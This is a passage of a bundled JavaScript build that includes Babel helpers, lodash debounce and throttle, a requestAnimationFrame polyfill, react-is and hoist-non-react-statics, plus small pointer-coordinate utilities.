ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _possibleConstructorReturn(self, call) { if (call && (typeof call === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread(); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) return _arrayLikeToArray(arr); } function _iterableToArray(iter) { if (typeof Symbol !== "undefined" && iter[Symbol.iterator] != null || iter["@@iterator"] != null) return Array.from(iter); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i]; return arr2; } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {}; function unwrapExports (x) { return x && x.__esModule && Object.prototype.hasOwnProperty.call(x, 'default') ? x['default'] : x; } function createCommonjsModule(fn, module) { return module = { exports: {} }, fn(module, module.exports), module.exports; } /** * lodash (Custom Build) <https://lodash.com/> * Build: `lodash modularize exports="npm" -o ./` * Copyright jQuery Foundation and other contributors <https://jquery.org/> * Released under MIT license <https://lodash.com/license> * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE> * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors */ /** Used as the `TypeError` message for "Functions" methods. */ var FUNC_ERROR_TEXT = 'Expected a function'; /** Used as references for various `Number` constants. */ var NAN = 0 / 0; /** `Object#toString` result references. */ var symbolTag = '[object Symbol]'; /** Used to match leading and trailing whitespace. */ var reTrim = /^\s+|\s+$/g; /** Used to detect bad signed hexadecimal string values. */ var reIsBadHex = /^[-+]0x[0-9a-f]+$/i; /** Used to detect binary string values. */ var reIsBinary = /^0b[01]+$/i; /** Used to detect octal string values. */ var reIsOctal = /^0o[0-7]+$/i; /** Built-in method references without a dependency on `root`. */ var freeParseInt = parseInt; /** Detect free variable `global` from Node.js. */ var freeGlobal = typeof commonjsGlobal == 'object' && commonjsGlobal && commonjsGlobal.Object === Object && commonjsGlobal; /** Detect free variable `self`. */ var freeSelf = typeof self == 'object' && self && self.Object === Object && self; /** Used as a reference to the global object. */ var root = freeGlobal || freeSelf || Function('return this')(); /** Used for built-in method references. */ var objectProto = Object.prototype; /** * Used to resolve the * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring) * of values. */ var objectToString = objectProto.toString; /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeMax = Math.max, nativeMin = Math.min; /** * Gets the timestamp of the number of milliseconds that have elapsed since * the Unix epoch (1 January 1970 00:00:00 UTC). * * @static * @memberOf _ * @since 2.4.0 * @category Date * @returns {number} Returns the timestamp. * @example * * _.defer(function(stamp) { * console.log(_.now() - stamp); * }, _.now()); * // => Logs the number of milliseconds it took for the deferred invocation. */ var now = function() { return root.Date.now(); }; /** * Creates a debounced function that delays invoking `func` until after `wait` * milliseconds have elapsed since the last time the debounced function was * invoked. The debounced function comes with a `cancel` method to cancel * delayed `func` invocations and a `flush` method to immediately invoke them. * Provide `options` to indicate whether `func` should be invoked on the * leading and/or trailing edge of the `wait` timeout. The `func` is invoked * with the last arguments provided to the debounced function. Subsequent * calls to the debounced function return the result of the last `func` * invocation. * * **Note:** If `leading` and `trailing` options are `true`, `func` is * invoked on the trailing edge of the timeout only if the debounced function * is invoked more than once during the `wait` timeout. * * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred * until to the next tick, similar to `setTimeout` with a timeout of `0`. * * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/) * for details over the differences between `_.debounce` and `_.throttle`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to debounce. * @param {number} [wait=0] The number of milliseconds to delay. * @param {Object} [options={}] The options object. * @param {boolean} [options.leading=false] * Specify invoking on the leading edge of the timeout. * @param {number} [options.maxWait] * The maximum time `func` is allowed to be delayed before it's invoked. * @param {boolean} [options.trailing=true] * Specify invoking on the trailing edge of the timeout. * @returns {Function} Returns the new debounced function. * @example * * // Avoid costly calculations while the window size is in flux. * jQuery(window).on('resize', _.debounce(calculateLayout, 150)); * * // Invoke `sendMail` when clicked, debouncing subsequent calls. * jQuery(element).on('click', _.debounce(sendMail, 300, { * 'leading': true, * 'trailing': false * })); * * // Ensure `batchLog` is invoked once after 1 second of debounced calls. * var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 }); * var source = new EventSource('/stream'); * jQuery(source).on('message', debounced); * * // Cancel the trailing debounced invocation. * jQuery(window).on('popstate', debounced.cancel); */ function debounce(func, wait, options) { var lastArgs, lastThis, maxWait, result, timerId, lastCallTime, lastInvokeTime = 0, leading = false, maxing = false, trailing = true; if (typeof func != 'function') { throw new TypeError(FUNC_ERROR_TEXT); } wait = toNumber(wait) || 0; if (isObject(options)) { leading = !!options.leading; maxing = 'maxWait' in options; maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait; trailing = 'trailing' in options ? !!options.trailing : trailing; } function invokeFunc(time) { var args = lastArgs, thisArg = lastThis; lastArgs = lastThis = undefined; lastInvokeTime = time; result = func.apply(thisArg, args); return result; } function leadingEdge(time) { // Reset any `maxWait` timer. lastInvokeTime = time; // Start the timer for the trailing edge. timerId = setTimeout(timerExpired, wait); // Invoke the leading edge. return leading ? invokeFunc(time) : result; } function remainingWait(time) { var timeSinceLastCall = time - lastCallTime, timeSinceLastInvoke = time - lastInvokeTime, result = wait - timeSinceLastCall; return maxing ? nativeMin(result, maxWait - timeSinceLastInvoke) : result; } function shouldInvoke(time) { var timeSinceLastCall = time - lastCallTime, timeSinceLastInvoke = time - lastInvokeTime; // Either this is the first call, activity has stopped and we're at the // trailing edge, the system time has gone backwards and we're treating // it as the trailing edge, or we've hit the `maxWait` limit. return (lastCallTime === undefined || (timeSinceLastCall >= wait) || (timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait)); } function timerExpired() { var time = now(); if (shouldInvoke(time)) { return trailingEdge(time); } // Restart the timer. timerId = setTimeout(timerExpired, remainingWait(time)); } function trailingEdge(time) { timerId = undefined; // Only invoke if we have `lastArgs` which means `func` has been // debounced at least once. if (trailing && lastArgs) { return invokeFunc(time); } lastArgs = lastThis = undefined; return result; } function cancel() { if (timerId !== undefined) { clearTimeout(timerId); } lastInvokeTime = 0; lastArgs = lastCallTime = lastThis = timerId = undefined; } function flush() { return timerId === undefined ? result : trailingEdge(now()); } function debounced() { var time = now(), isInvoking = shouldInvoke(time); lastArgs = arguments; lastThis = this; lastCallTime = time; if (isInvoking) { if (timerId === undefined) { return leadingEdge(lastCallTime); } if (maxing) { // Handle invocations in a tight loop. timerId = setTimeout(timerExpired, wait); return invokeFunc(lastCallTime); } } if (timerId === undefined) { timerId = setTimeout(timerExpired, wait); } return result; } debounced.cancel = cancel; debounced.flush = flush; return debounced; } /** * Creates a throttled function that only invokes `func` at most once per * every `wait` milliseconds. The throttled function comes with a `cancel` * method to cancel delayed `func` invocations and a `flush` method to * immediately invoke them. Provide `options` to indicate whether `func` * should be invoked on the leading and/or trailing edge of the `wait` * timeout. The `func` is invoked with the last arguments provided to the * throttled function. Subsequent calls to the throttled function return the * result of the last `func` invocation. * * **Note:** If `leading` and `trailing` options are `true`, `func` is * invoked on the trailing edge of the timeout only if the throttled function * is invoked more than once during the `wait` timeout. * * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred * until to the next tick, similar to `setTimeout` with a timeout of `0`. * * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/) * for details over the differences between `_.throttle` and `_.debounce`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to throttle. * @param {number} [wait=0] The number of milliseconds to throttle invocations to. * @param {Object} [options={}] The options object. * @param {boolean} [options.leading=true] * Specify invoking on the leading edge of the timeout. * @param {boolean} [options.trailing=true] * Specify invoking on the trailing edge of the timeout. * @returns {Function} Returns the new throttled function. * @example * * // Avoid excessively updating the position while scrolling. * jQuery(window).on('scroll', _.throttle(updatePosition, 100)); * * // Invoke `renewToken` when the click event is fired, but not more than once every 5 minutes. * var throttled = _.throttle(renewToken, 300000, { 'trailing': false }); * jQuery(element).on('click', throttled); * * // Cancel the trailing throttled invocation. * jQuery(window).on('popstate', throttled.cancel); */ function throttle(func, wait, options) { var leading = true, trailing = true; if (typeof func != 'function') { throw new TypeError(FUNC_ERROR_TEXT); } if (isObject(options)) { leading = 'leading' in options ? !!options.leading : leading; trailing = 'trailing' in options ? !!options.trailing : trailing; } return debounce(func, wait, { 'leading': leading, 'maxWait': wait, 'trailing': trailing }); } /** * Checks if `value` is the * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types) * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`) * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an object, else `false`. * @example * * _.isObject({}); * // => true * * _.isObject([1, 2, 3]); * // => true * * _.isObject(_.noop); * // => true * * _.isObject(null); * // => false */ function isObject(value) { var type = typeof value; return !!value && (type == 'object' || type == 'function'); } /** * Checks if `value` is object-like. A value is object-like if it's not `null` * and has a `typeof` result of "object". * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is object-like, else `false`. * @example * * _.isObjectLike({}); * // => true * * _.isObjectLike([1, 2, 3]); * // => true * * _.isObjectLike(_.noop); * // => false * * _.isObjectLike(null); * // => false */ function isObjectLike(value) { return !!value && typeof value == 'object'; } /** * Checks if `value` is classified as a `Symbol` primitive or object. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a symbol, else `false`. * @example * * _.isSymbol(Symbol.iterator); * // => true * * _.isSymbol('abc'); * // => false */ function isSymbol(value) { return typeof value == 'symbol' || (isObjectLike(value) && objectToString.call(value) == symbolTag); } /** * Converts `value` to a number. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to process. * @returns {number} Returns the number. * @example * * _.toNumber(3.2); * // => 3.2 * * _.toNumber(Number.MIN_VALUE); * // => 5e-324 * * _.toNumber(Infinity); * // => Infinity * * _.toNumber('3.2'); * // => 3.2 */ function toNumber(value) { if (typeof value == 'number') { return value; } if (isSymbol(value)) { return NAN; } if (isObject(value)) { var other = typeof value.valueOf == 'function' ? value.valueOf() : value; value = isObject(other) ? (other + '') : other; } if (typeof value != 'string') { return value === 0 ? value : +value; } value = value.replace(reTrim, ''); var isBinary = reIsBinary.test(value); return (isBinary || reIsOctal.test(value)) ? freeParseInt(value.slice(2), isBinary ? 2 : 8) : (reIsBadHex.test(value) ? NAN : +value); } var lodash_throttle = throttle; var performanceNow = createCommonjsModule(function (module) { // Generated by CoffeeScript 1.12.2 (function() { var getNanoSeconds, hrtime, loadTime, moduleLoadTime, nodeLoadTime, upTime; if ((typeof performance !== "undefined" && performance !== null) && performance.now) { module.exports = function() { return performance.now(); }; } else if ((typeof process !== "undefined" && process !== null) && process.hrtime) { module.exports = function() { return (getNanoSeconds() - nodeLoadTime) / 1e6; }; hrtime = process.hrtime; getNanoSeconds = function() { var hr; hr = hrtime(); return hr[0] * 1e9 + hr[1]; }; moduleLoadTime = getNanoSeconds(); upTime = process.uptime() * 1e9; nodeLoadTime = moduleLoadTime - upTime; } else if (Date.now) { module.exports = function() { return Date.now() - loadTime; }; loadTime = Date.now(); } else { module.exports = function() { return new Date().getTime() - loadTime; }; loadTime = new Date().getTime(); } }).call(commonjsGlobal); }); var root$1 = typeof window === 'undefined' ? commonjsGlobal : window , vendors = ['moz', 'webkit'] , suffix = 'AnimationFrame' , raf = root$1['request' + suffix] , caf = root$1['cancel' + suffix] || root$1['cancelRequest' + suffix]; for(var i = 0; !raf && i < vendors.length; i++) { raf = root$1[vendors[i] + 'Request' + suffix]; caf = root$1[vendors[i] + 'Cancel' + suffix] || root$1[vendors[i] + 'CancelRequest' + suffix]; } // Some versions of FF have rAF but not cAF if(!raf || !caf) { var last = 0 , id = 0 , queue = [] , frameDuration = 1000 / 60; raf = function(callback) { if(queue.length === 0) { var _now = performanceNow() , next = Math.max(0, frameDuration - (_now - last)); last = next + _now; setTimeout(function() { var cp = queue.slice(0); // Clear queue here to prevent // callbacks from appending listeners // to the current frame's queue queue.length = 0; for(var i = 0; i < cp.length; i++) { if(!cp[i].cancelled) { try{ cp[i].callback(last); } catch(e) { setTimeout(function() { throw e }, 0); } } } }, Math.round(next)); } queue.push({ handle: ++id, callback: callback, cancelled: false }); return id }; caf = function(handle) { for(var i = 0; i < queue.length; i++) { if(queue[i].handle === handle) { queue[i].cancelled = true; } } }; } var raf_1 = function(fn) { // Wrap in a new function to prevent // `cancel` potentially being assigned // to the native rAF function return raf.call(root$1, fn) }; var cancel = function() { caf.apply(root$1, arguments); }; var polyfill = function(object) { if (!object) { object = root$1; } object.requestAnimationFrame = raf; object.cancelAnimationFrame = caf; }; raf_1.cancel = cancel; raf_1.polyfill = polyfill; var getDisplayName_1 = createCommonjsModule(function (module, exports) { Object.defineProperty(exports, "__esModule", { value: true }); exports.default = getDisplayName; function getDisplayName(Component) { return Component.displayName || Component.name || (typeof Component === 'string' && Component.length > 0 ? Component : 'Unknown'); } }); unwrapExports(getDisplayName_1); /** @license React v16.13.1 * react-is.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ var b="function"===typeof Symbol&&Symbol.for,c=b?Symbol.for("react.element"):60103,d=b?Symbol.for("react.portal"):60106,e=b?Symbol.for("react.fragment"):60107,f=b?Symbol.for("react.strict_mode"):60108,g=b?Symbol.for("react.profiler"):60114,h=b?Symbol.for("react.provider"):60109,k=b?Symbol.for("react.context"):60110,l=b?Symbol.for("react.async_mode"):60111,m=b?Symbol.for("react.concurrent_mode"):60111,n=b?Symbol.for("react.forward_ref"):60112,p=b?Symbol.for("react.suspense"):60113,q=b? Symbol.for("react.suspense_list"):60120,r=b?Symbol.for("react.memo"):60115,t=b?Symbol.for("react.lazy"):60116,v=b?Symbol.for("react.block"):60121,w=b?Symbol.for("react.fundamental"):60117,x=b?Symbol.for("react.responder"):60118,y=b?Symbol.for("react.scope"):60119; function z(a){if("object"===typeof a&&null!==a){var u=a.$$typeof;switch(u){case c:switch(a=a.type,a){case l:case m:case e:case g:case f:case p:return a;default:switch(a=a&&a.$$typeof,a){case k:case n:case t:case r:case h:return a;default:return u}}case d:return u}}}function A(a){return z(a)===m}var AsyncMode=l;var ConcurrentMode=m;var ContextConsumer=k;var ContextProvider=h;var Element=c;var ForwardRef=n;var Fragment=e;var Lazy=t;var Memo=r;var Portal=d; var Profiler=g;var StrictMode=f;var Suspense=p;var isAsyncMode=function(a){return A(a)||z(a)===l};var isConcurrentMode=A;var isContextConsumer=function(a){return z(a)===k};var isContextProvider=function(a){return z(a)===h};var isElement=function(a){return "object"===typeof a&&null!==a&&a.$$typeof===c};var isForwardRef=function(a){return z(a)===n};var isFragment=function(a){return z(a)===e};var isLazy=function(a){return z(a)===t}; var isMemo=function(a){return z(a)===r};var isPortal=function(a){return z(a)===d};var isProfiler=function(a){return z(a)===g};var isStrictMode=function(a){return z(a)===f};var isSuspense=function(a){return z(a)===p}; var isValidElementType=function(a){return "string"===typeof a||"function"===typeof a||a===e||a===m||a===g||a===f||a===p||a===q||"object"===typeof a&&null!==a&&(a.$$typeof===t||a.$$typeof===r||a.$$typeof===h||a.$$typeof===k||a.$$typeof===n||a.$$typeof===w||a.$$typeof===x||a.$$typeof===y||a.$$typeof===v)};var typeOf=z; var reactIs_production_min = { AsyncMode: AsyncMode, ConcurrentMode: ConcurrentMode, ContextConsumer: ContextConsumer, ContextProvider: ContextProvider, Element: Element, ForwardRef: ForwardRef, Fragment: Fragment, Lazy: Lazy, Memo: Memo, Portal: Portal, Profiler: Profiler, StrictMode: StrictMode, Suspense: Suspense, isAsyncMode: isAsyncMode, isConcurrentMode: isConcurrentMode, isContextConsumer: isContextConsumer, isContextProvider: isContextProvider, isElement: isElement, isForwardRef: isForwardRef, isFragment: isFragment, isLazy: isLazy, isMemo: isMemo, isPortal: isPortal, isProfiler: isProfiler, isStrictMode: isStrictMode, isSuspense: isSuspense, isValidElementType: isValidElementType, typeOf: typeOf }; var reactIs_development = createCommonjsModule(function (module, exports) { if (process.env.NODE_ENV !== "production") { (function() { // The Symbol used to tag the ReactElement-like types. If there is no native Symbol // nor polyfill, then a plain number is used for performance. var hasSymbol = typeof Symbol === 'function' && Symbol.for; var REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for('react.element') : 0xeac7; var REACT_PORTAL_TYPE = hasSymbol ? Symbol.for('react.portal') : 0xeaca; var REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for('react.fragment') : 0xeacb; var REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for('react.strict_mode') : 0xeacc; var REACT_PROFILER_TYPE = hasSymbol ? Symbol.for('react.profiler') : 0xead2; var REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for('react.provider') : 0xeacd; var REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for('react.context') : 0xeace; // TODO: We don't use AsyncMode or ConcurrentMode anymore. They were temporary // (unstable) APIs that have been removed. Can we remove the symbols? var REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for('react.async_mode') : 0xeacf; var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for('react.concurrent_mode') : 0xeacf; var REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for('react.forward_ref') : 0xead0; var REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for('react.suspense') : 0xead1; var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for('react.suspense_list') : 0xead8; var REACT_MEMO_TYPE = hasSymbol ? Symbol.for('react.memo') : 0xead3; var REACT_LAZY_TYPE = hasSymbol ? Symbol.for('react.lazy') : 0xead4; var REACT_BLOCK_TYPE = hasSymbol ? Symbol.for('react.block') : 0xead9; var REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for('react.fundamental') : 0xead5; var REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for('react.responder') : 0xead6; var REACT_SCOPE_TYPE = hasSymbol ? Symbol.for('react.scope') : 0xead7; function isValidElementType(type) { return typeof type === 'string' || typeof type === 'function' || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill. type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === 'object' && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE); } function typeOf(object) { if (typeof object === 'object' && object !== null) { var $$typeof = object.$$typeof; switch ($$typeof) { case REACT_ELEMENT_TYPE: var type = object.type; switch (type) { case REACT_ASYNC_MODE_TYPE: case REACT_CONCURRENT_MODE_TYPE: case REACT_FRAGMENT_TYPE: case REACT_PROFILER_TYPE: case REACT_STRICT_MODE_TYPE: case REACT_SUSPENSE_TYPE: return type; default: var $$typeofType = type && type.$$typeof; switch ($$typeofType) { case REACT_CONTEXT_TYPE: case REACT_FORWARD_REF_TYPE: case REACT_LAZY_TYPE: case REACT_MEMO_TYPE: case REACT_PROVIDER_TYPE: return $$typeofType; default: return $$typeof; } } case REACT_PORTAL_TYPE: return $$typeof; } } return undefined; } // AsyncMode is deprecated along with isAsyncMode var AsyncMode = REACT_ASYNC_MODE_TYPE; var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE; var ContextConsumer = REACT_CONTEXT_TYPE; var ContextProvider = REACT_PROVIDER_TYPE; var Element = REACT_ELEMENT_TYPE; var ForwardRef = REACT_FORWARD_REF_TYPE; var Fragment = REACT_FRAGMENT_TYPE; var Lazy = REACT_LAZY_TYPE; var Memo = REACT_MEMO_TYPE; var Portal = REACT_PORTAL_TYPE; var Profiler = REACT_PROFILER_TYPE; var StrictMode = REACT_STRICT_MODE_TYPE; var Suspense = REACT_SUSPENSE_TYPE; var hasWarnedAboutDeprecatedIsAsyncMode = false; // AsyncMode should be deprecated function isAsyncMode(object) { { if (!hasWarnedAboutDeprecatedIsAsyncMode) { hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.'); } } return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE; } function isConcurrentMode(object) { return typeOf(object) === REACT_CONCURRENT_MODE_TYPE; } function isContextConsumer(object) { return typeOf(object) === REACT_CONTEXT_TYPE; } function isContextProvider(object) { return typeOf(object) === REACT_PROVIDER_TYPE; } function isElement(object) { return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE; } function isForwardRef(object) { return typeOf(object) === REACT_FORWARD_REF_TYPE; } function isFragment(object) { return typeOf(object) === REACT_FRAGMENT_TYPE; } function isLazy(object) { return typeOf(object) === REACT_LAZY_TYPE; } function isMemo(object) { return typeOf(object) === REACT_MEMO_TYPE; } function isPortal(object) { return typeOf(object) === REACT_PORTAL_TYPE; } function isProfiler(object) { return typeOf(object) === REACT_PROFILER_TYPE; } function isStrictMode(object) { return typeOf(object) === REACT_STRICT_MODE_TYPE; } function isSuspense(object) { return typeOf(object) === REACT_SUSPENSE_TYPE; } exports.AsyncMode = AsyncMode; exports.ConcurrentMode = ConcurrentMode; exports.ContextConsumer = ContextConsumer; exports.ContextProvider = ContextProvider; exports.Element = Element; exports.ForwardRef = ForwardRef; exports.Fragment = Fragment; exports.Lazy = Lazy; exports.Memo = Memo; exports.Portal = Portal; exports.Profiler = Profiler; exports.StrictMode = StrictMode; exports.Suspense = Suspense; exports.isAsyncMode = isAsyncMode; exports.isConcurrentMode = isConcurrentMode; exports.isContextConsumer = isContextConsumer; exports.isContextProvider = isContextProvider; exports.isElement = isElement; exports.isForwardRef = isForwardRef; exports.isFragment = isFragment; exports.isLazy = isLazy; exports.isMemo = isMemo; exports.isPortal = isPortal; exports.isProfiler = isProfiler; exports.isStrictMode = isStrictMode; exports.isSuspense = isSuspense; exports.isValidElementType = isValidElementType; exports.typeOf = typeOf; })(); } }); var reactIs_development_1 = reactIs_development.AsyncMode; var reactIs_development_2 = reactIs_development.ConcurrentMode; var reactIs_development_3 = reactIs_development.ContextConsumer; var reactIs_development_4 = reactIs_development.ContextProvider; var reactIs_development_5 = reactIs_development.Element; var reactIs_development_6 = reactIs_development.ForwardRef; var reactIs_development_7 = reactIs_development.Fragment; var reactIs_development_8 = reactIs_development.Lazy; var reactIs_development_9 = reactIs_development.Memo; var reactIs_development_10 = reactIs_development.Portal; var reactIs_development_11 = reactIs_development.Profiler; var reactIs_development_12 = reactIs_development.StrictMode; var reactIs_development_13 = reactIs_development.Suspense; var reactIs_development_14 = reactIs_development.isAsyncMode; var reactIs_development_15 = reactIs_development.isConcurrentMode; var reactIs_development_16 = reactIs_development.isContextConsumer; var reactIs_development_17 = reactIs_development.isContextProvider; var reactIs_development_18 = reactIs_development.isElement; var reactIs_development_19 = reactIs_development.isForwardRef; var reactIs_development_20 = reactIs_development.isFragment; var reactIs_development_21 = reactIs_development.isLazy; var reactIs_development_22 = reactIs_development.isMemo; var reactIs_development_23 = reactIs_development.isPortal; var reactIs_development_24 = reactIs_development.isProfiler; var reactIs_development_25 = reactIs_development.isStrictMode; var reactIs_development_26 = reactIs_development.isSuspense; var reactIs_development_27 = reactIs_development.isValidElementType; var reactIs_development_28 = reactIs_development.typeOf; var reactIs = createCommonjsModule(function (module) { if (process.env.NODE_ENV === 'production') { module.exports = reactIs_production_min; } else { module.exports = reactIs_development; } }); /** * Copyright 2015, Yahoo! Inc. * Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms. */ var REACT_STATICS = { childContextTypes: true, contextType: true, contextTypes: true, defaultProps: true, displayName: true, getDefaultProps: true, getDerivedStateFromError: true, getDerivedStateFromProps: true, mixins: true, propTypes: true, type: true }; var KNOWN_STATICS = { name: true, length: true, prototype: true, caller: true, callee: true, arguments: true, arity: true }; var FORWARD_REF_STATICS = { '$$typeof': true, render: true, defaultProps: true, displayName: true, propTypes: true }; var MEMO_STATICS = { '$$typeof': true, compare: true, defaultProps: true, displayName: true, propTypes: true, type: true }; var TYPE_STATICS = {}; TYPE_STATICS[reactIs.ForwardRef] = FORWARD_REF_STATICS; TYPE_STATICS[reactIs.Memo] = MEMO_STATICS; function getStatics(component) { // React v16.11 and below if (reactIs.isMemo(component)) { return MEMO_STATICS; } // React v16.12 and above return TYPE_STATICS[component['$$typeof']] || REACT_STATICS; } var defineProperty = Object.defineProperty; var getOwnPropertyNames = Object.getOwnPropertyNames; var getOwnPropertySymbols = Object.getOwnPropertySymbols; var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; var getPrototypeOf = Object.getPrototypeOf; var objectPrototype = Object.prototype; function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) { if (typeof sourceComponent !== 'string') { // don't hoist over string (html) components if (objectPrototype) { var inheritedComponent = getPrototypeOf(sourceComponent); if (inheritedComponent && inheritedComponent !== objectPrototype) { hoistNonReactStatics(targetComponent, inheritedComponent, blacklist); } } var keys = getOwnPropertyNames(sourceComponent); if (getOwnPropertySymbols) { keys = keys.concat(getOwnPropertySymbols(sourceComponent)); } var targetStatics = getStatics(targetComponent); var sourceStatics = getStatics(sourceComponent); for (var i = 0; i < keys.length; ++i) { var key = keys[i]; if (!KNOWN_STATICS[key] && !(blacklist && blacklist[key]) && !(sourceStatics && sourceStatics[key]) && !(targetStatics && targetStatics[key])) { var descriptor = getOwnPropertyDescriptor(sourceComponent, key); try { // Avoid failures from read-only properties defineProperty(targetComponent, key, descriptor); } catch (e) {} } } } return targetComponent; } var hoistNonReactStatics_cjs = hoistNonReactStatics; var util = createCommonjsModule(function (module, exports) { Object.defineProperty(exports, "__esModule", { value: true }); exports.noop = noop; exports.intBetween = intBetween; exports.getCoords = getCoords; function noop() {} function intBetween(min, max, val) { return Math.floor(Math.min(max, Math.max(min, val))); } function getCoords(evt) { if (evt.type === 'touchmove') { return { x: evt.changedTouches[0].clientX, y: evt.changedTouches[0].clientY }; } return { x: evt.clientX, y: evt.clientY }; } }); unwrapExports(util); var util_1 = util.noop; var util_2 = util.intBetween; var util_3 = util.getCoords; var lib = 